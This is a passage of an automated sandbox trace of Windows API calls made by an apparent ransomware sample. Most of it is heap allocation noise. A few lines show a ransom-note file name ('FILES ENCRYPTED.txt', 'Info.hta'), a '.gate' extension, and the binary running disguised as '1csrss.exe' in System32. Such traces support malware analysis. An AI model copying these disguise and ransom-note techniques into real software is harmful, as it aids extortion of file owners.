Flags=0x0, Size=0xa) returned 0x4e1d78 [0317.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1c40 [0317.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1cb8 [0317.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1bb0 [0317.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xe) returned 0x4e1ca0 [0317.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1a90 [0317.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1cd0 [0317.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1ce8 [0317.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1d18 [0317.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1d30 [0317.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1c28 [0317.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1c58 [0317.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1ac0 [0317.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4cc7a8 [0317.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1ad8 [0317.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1c70 [0317.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1bf8 [0317.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1af0 [0317.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1b08 [0317.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1b20 [0317.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1b38 [0317.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1b50 [0317.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1c88 [0317.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xe) returned 0x4e1be0 [0317.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e1c10 [0317.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xe) returned 0x4e1d48 [0317.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e22b8 [0317.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e2498 [0317.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e24b0 [0317.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e23c0 [0317.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e22e8 [0317.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4e22d0 [0317.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e2300 [0317.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e2558 [0317.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e2318 [0317.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e2540 [0317.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e2570 [0317.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e22a0 [0317.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e2438 [0317.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e2528 [0317.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e24c8 [0317.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e24e0 [0317.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e2588 [0317.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e2330 [0317.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e2360 [0317.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e2348 [0317.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e2420 [0317.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e2378 [0317.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e2390 [0317.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4e23a8 [0317.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x12) returned 0x4a36b0 [0317.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e23d8 [0317.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e23f0 [0317.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e2510 [0317.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e2408 [0317.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e2450 [0317.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e2468 [0317.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e2480 [0317.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e24f8 [0317.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e25b8 [0317.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e25d0 [0317.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e25a0 [0317.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e25e8 [0317.694] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e2660 [0317.694] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e2600 [0317.694] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e2618 [0317.694] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e2630 [0317.694] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e2648 [0317.694] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e2a20 [0317.694] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e29c0 [0317.694] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e29f0 [0317.694] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4e2a08 [0317.694] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4e2a68 [0317.694] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4e2a50 [0317.694] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xe) returned 0x4e2a38 [0317.694] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4e29a8 [0317.694] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4cc7b8 [0317.694] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e29d8 [0317.694] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4cc878 [0317.694] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e26d8 [0317.694] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e2990 [0317.694] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e26a8 [0317.694] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4e27b0 [0317.694] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4e2810 [0317.694] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e2960 [0317.694] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4e2780 [0317.694] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e27e0 [0317.694] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e2720 [0317.694] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4e2828 [0317.694] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e2798 [0317.694] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4e27f8 [0317.694] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4e2708 [0317.694] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e2978 [0317.694] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4cc888 [0317.694] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e27c8 [0317.694] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e2840 [0317.694] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e1e68, Size=0x800) returned 0x4e2e88 [0317.694] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e0040 | out: hHeap=0x490000) returned 1 [0317.695] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e3d38 | out: hHeap=0x490000) returned 1 [0317.695] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cc8c8, Size=0x8) returned 0x4cc5c8 [0317.695] lstrlenW (lpString=".gate") returned 5 [0317.695] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e3d80 | out: hHeap=0x490000) returned 1 [0317.695] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e3d80, Size=0x20) returned 0x4c81e0 [0317.695] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4c81e0, Size=0x40) returned 0x4a29b8 [0317.695] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a29b8, Size=0x80) returned 0x4ce860 [0317.695] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cc8c8, Size=0x8) returned 0x4cc5b8 [0317.695] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cc5b8, Size=0x10) returned 0x4e3d38 [0317.695] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e3d38, Size=0x20) returned 0x4c8140 [0317.695] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ce860 | out: hHeap=0x490000) returned 1 [0317.695] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e3d38, Size=0x20) returned 0x4c80a0 [0317.695] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4c80a0, Size=0x40) returned 0x4a2ad8 [0317.695] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0317.695] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4a2ad8 | out: hHeap=0x490000) returned 1 [0317.695] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e3e58, Size=0x20) returned 0x4c8190 [0317.695] lstrlenW (lpString="Info.hta") returned 8 [0317.695] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4c8190 | out: hHeap=0x490000) returned 1 [0317.695] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x500650, nSize=0x7fff | out: lpFilename="C:\\Windows\\System32\\1csrss.exe" (normalized: "c:\\windows\\system32\\1csrss.exe")) returned 0x1e [0317.695] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x500650 | out: hHeap=0x490000) returned 1 [0317.695] lstrlenW (lpString="1csrss.exe") returned 10 [0317.695] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4c8140, Size=0x40) returned 0x4a26a0 [0317.695] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e3d80, Size=0x20) returned 0x4c7f88 [0317.696] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e3d38, Size=0x20) returned 0x4c8118 [0317.696] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4c8118, Size=0x40) returned 0x4a2bb0 [0317.696] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a2bb0, Size=0x80) returned 0x4e0200 [0317.696] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e0200, Size=0x100) returned 0x5212e8 [0317.696] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0317.696] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x5212e8 | out: hHeap=0x490000) returned 1 [0317.696] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x500650, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0317.696] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x510658 | out: hHeap=0x490000) returned 1 [0317.697] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x500650 | out: hHeap=0x490000) returned 1 [0317.697] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cc718, Size=0x8) returned 0x4cc6e8 [0317.697] lstrlenW (lpString="%windir%;") returned 9 [0317.697] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4c7f88 | out: hHeap=0x490000) returned 1 [0317.697] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0317.697] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4f0648 | out: hHeap=0x490000) returned 1 [0317.776] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e38b8, Size=0x20) returned 0x4e96d0 [0317.776] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e96d0, Size=0x40) returned 0x4e8310 [0317.776] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e8310, Size=0x80) returned 0x4e0530 [0317.776] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e0530, Size=0x100) returned 0x5214f8 [0317.776] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cc6a8, Size=0x8) returned 0x4cc6d8 [0317.776] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cc6d8, Size=0x10) returned 0x4e3978 [0317.776] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e3978, Size=0x20) returned 0x4e9720 [0317.776] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cc738, Size=0x8) returned 0x4cc638 [0317.776] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cc688, Size=0x8) returned 0x4cc648 [0317.776] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cc568, Size=0x8) returned 0x4cc5e8 [0317.776] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cc5e8, Size=0x10) returned 0x4e4240 [0317.776] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e4240, Size=0x20) returned 0x4e96a8 [0317.776] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cc638, Size=0x10) returned 0x4e41f8 [0317.776] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cc648, Size=0x10) returned 0x4e43c0 [0317.776] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cc718, Size=0x8) returned 0x4cc5e8 [0317.776] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cc718, Size=0x8) returned 0x4cc548 [0317.776] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e41f8, Size=0x20) returned 0x4e9748 [0317.776] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e43c0, Size=0x20) returned 0x4e9810 [0317.777] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cc738, Size=0x8) returned 0x4cc618 [0317.777] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x5214f8 | out: hHeap=0x490000) returned 1 [0317.777] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e42d0, Size=0x20) returned 0x4e9770 [0317.777] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x500650, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0317.777] lstrlenW (lpString="C:\\") returned 3 [0317.777] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0317.777] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x500650 | out: hHeap=0x490000) returned 1 [0317.778] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cc688, Size=0x82) returned 0x4e14e0 [0317.778] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cc738, Size=0x100) returned 0x520790 [0317.778] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e14e0, Size=0x104) returned 0x521e58 [0317.778] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x520790, Size=0x200) returned 0x521f68 [0317.779] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4cc588 | out: hHeap=0x490000) returned 1 [0317.779] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x521f68 | out: hHeap=0x490000) returned 1 [0317.779] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e4420 | out: hHeap=0x490000) returned 1 [0317.779] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e0860 | out: hHeap=0x490000) returned 1 [0317.779] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e43d8 | out: hHeap=0x490000) returned 1 [0317.779] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e0178 | out: hHeap=0x490000) returned 1 [0317.779] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e4300 | out: hHeap=0x490000) returned 1 [0317.779] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x521e58 | out: hHeap=0x490000) returned 1 [0317.779] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e42e8 | out: hHeap=0x490000) returned 1 [0317.779] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x521d38 | out: hHeap=0x490000) returned 1 [0317.779] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e4318 | out: hHeap=0x490000) returned 1 [0317.779] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x521dc8 | out: hHeap=0x490000) returned 1 [0317.779] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e4360 | out: hHeap=0x490000) returned 1 [0317.779] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e4438, Size=0x20) returned 0x4e9798 [0317.779] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e9798, Size=0x40) returned 0x4e88b0 [0317.779] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4cc628 | out: hHeap=0x490000) returned 1 [0317.779] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e42a0 | out: hHeap=0x490000) returned 1 [0317.779] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e1450 | out: hHeap=0x490000) returned 1 [0317.779] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e4240 | out: hHeap=0x490000) returned 1 [0317.779] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e0288 | out: hHeap=0x490000) returned 1 [0317.779] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e4228 | out: hHeap=0x490000) returned 1 [0317.779] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4cc578 | out: hHeap=0x490000) returned 1 [0317.779] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e42d0 | out: hHeap=0x490000) returned 1 [0317.779] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4a2f60 | out: hHeap=0x490000) returned 1 [0317.779] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4a3530 | out: hHeap=0x490000) returned 1 [0317.779] lstrlenW (lpString="%systemdrive%") returned 13 [0317.779] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e9770 | out: hHeap=0x490000) returned 1 [0317.779] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e0200 | out: hHeap=0x490000) returned 1 [0317.779] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4cc728 | out: hHeap=0x490000) returned 1 [0317.779] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x4d0020, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c8 [0317.780] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10014) returned 0x500650 [0317.780] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4e4228 [0317.780] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e4228, Size=0x20) returned 0x4e95e0 [0317.780] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e95e0, Size=0x40) returned 0x4e8940 [0317.780] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e8940, Size=0x80) returned 0x4e0f48 [0317.780] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e0f48, Size=0x100) returned 0x520bb0 [0317.780] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x520bb0, Size=0x200) returned 0x521d38 [0317.780] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x521d38, Size=0x400) returned 0x521d38 [0317.780] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x521d38, Size=0x800) returned 0x4e46a0 [0317.780] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e46a0, Size=0x1000) returned 0x4e46a0 [0317.780] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10000) returned 0x527fe8 [0317.781] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4e4228 [0317.781] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4e4408 [0317.781] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x4) returned 0x4cc728 [0317.781] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4e4240 [0317.781] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x4) returned 0x4cc578 [0317.781] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e42a0 [0317.781] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cc728, Size=0x8) returned 0x4cc628 [0317.781] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e4420 [0317.781] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cc628, Size=0x10) returned 0x4e42d0 [0317.781] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e4498 [0317.781] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e43d8 [0317.781] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e42d0, Size=0x20) returned 0x4e9680 [0317.781] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e42e8 [0317.781] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4cc628 [0317.781] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xe) returned 0x4e4378 [0317.781] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xe) returned 0x4e4438 [0317.781] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e9680, Size=0x40) returned 0x4e86b8 [0317.781] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xe) returned 0x4e4300 [0317.781] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xe) returned 0x4e4318 [0317.781] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xe) returned 0x4e42d0 [0317.781] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xe) returned 0x4e4330 [0317.781] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e4390 [0317.781] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e43c0 [0317.781] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4cc728 [0317.781] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e4450 [0317.781] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e86b8, Size=0x80) returned 0x4e0178 [0317.781] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e4468 [0317.781] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e44b0 [0317.781] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e4480 [0317.781] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e44c8 [0317.781] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e44e0 [0317.781] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4e4600 [0317.781] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e44f8 [0317.781] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4cc638 [0317.781] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e4510 [0317.781] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e4630 [0317.781] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4e4678 [0317.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e4528 [0317.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4e4540 [0317.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e4648 [0317.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4e45e8 [0317.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e4558 [0317.782] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e0178, Size=0x100) returned 0x520898 [0317.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e4570 [0317.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e45b8 [0317.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e4588 [0317.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4e45d0 [0317.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e4618 [0317.782] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4e4660 [0317.782] RtlAllocateHeap 